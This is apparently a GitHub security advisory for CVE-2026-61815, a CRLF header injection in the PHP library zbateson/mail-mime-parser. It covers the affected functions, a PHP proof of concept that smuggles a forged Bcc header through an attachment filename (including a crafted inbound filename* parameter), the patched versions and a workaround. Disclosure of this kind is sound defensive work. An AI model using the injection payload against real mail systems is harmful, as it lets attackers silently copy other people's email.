CVE-2026-61815: zbateson/mail-mime-parser has CRLF header injection via attachment filename
### Impact A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename. Attachment filenames are interpolated into the `Content-Type` and `Content-Disposition` header values without stripping CR/LF, so a filename containing `\r\n` serializes as one or more additional, attacker-controlled header lines (for example a forged `Bcc:` that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed. ### Details On the outbound side, `MultipartHelper::createAndAddPartForAttachment()` sanitizes the filename only with `iconv('UTF-8','US-ASCII//translit//ignore', $filename)`. CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via `MimePart::setRawHeader()`. A filename of `doc\r\nBcc: [email protected]` therefore serializes as: ``` Content-Disposition: attachment; filename="doc Bcc: [email protected]" ``` The `filename` value closes after `doc`, and `Bcc: [email protected]` stands as its own header line. The decode side is affected as well, which is what makes purely inbound exploitation possible: - `ParameterPart::decodePartValue()` `rawurldecode()`s an RFC 2231 `filename*=` parameter with no control-character stripping, so a crafted `filename*=utf-8''doc%0D%0ABcc:...` makes `getFilename()` return a string with embedded `\r\n`. - The RFC 2047 path (`MimeToken`) strips `\r`/`\n` from the *encoded* word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value. As a result `getFilename()` can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused. ### Proof of concept ```php composer require zbateson/mail-mime-parser <?php require 'vendor/autoload.php'; use ZBateson\MailMimeParser\MailMimeParser; use ZBateson\MailMimeParser\Message; $parser = new MailMimeParser(); function attachAndReport(string $filename): void { $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false); $out->addAttachmentPart('payload', 'application/octet-stream', $filename); echo (strpos($out->__toString(), "\r\nBcc: [email protected]") !== false) ? "INJECTED\n" : "clean\n"; } attachAndReport('invoice.pdf'); // => clean attachAndReport("doc\r\nBcc: [email protected]"); // => INJECTED // The CRLF reaches getFilename() straight from parsed mail via an // RFC 2231 filename*= parameter, so no local construction is needed: $inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n" . "--b\r\nContent-Type: application/octet-stream\r\n" . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%[email protected]\r\n\r\n" . base64_encode('data') . "\r\n--b--\r\n"; $fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename(); var_dump($fn); // => string(28) "doc\r\nBcc: [email protected]" attachAndReport($fn); // => INJECTED ``` ### Patches Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions. Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. ### Workarounds If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename). - Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.
Recommended action
Recommended action
Upgrade affected packages to a patched version: zbateson/mail-mime-parser 3.0.6, zbateson/mail-mime-parser 4.0.2.
Technical details
- Vendor
- Not specified
- Product
- zbateson/mail-mime-parser
- Exploitation
- none known
- Evidence
- official
Evidence and sources
This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.
Open primary source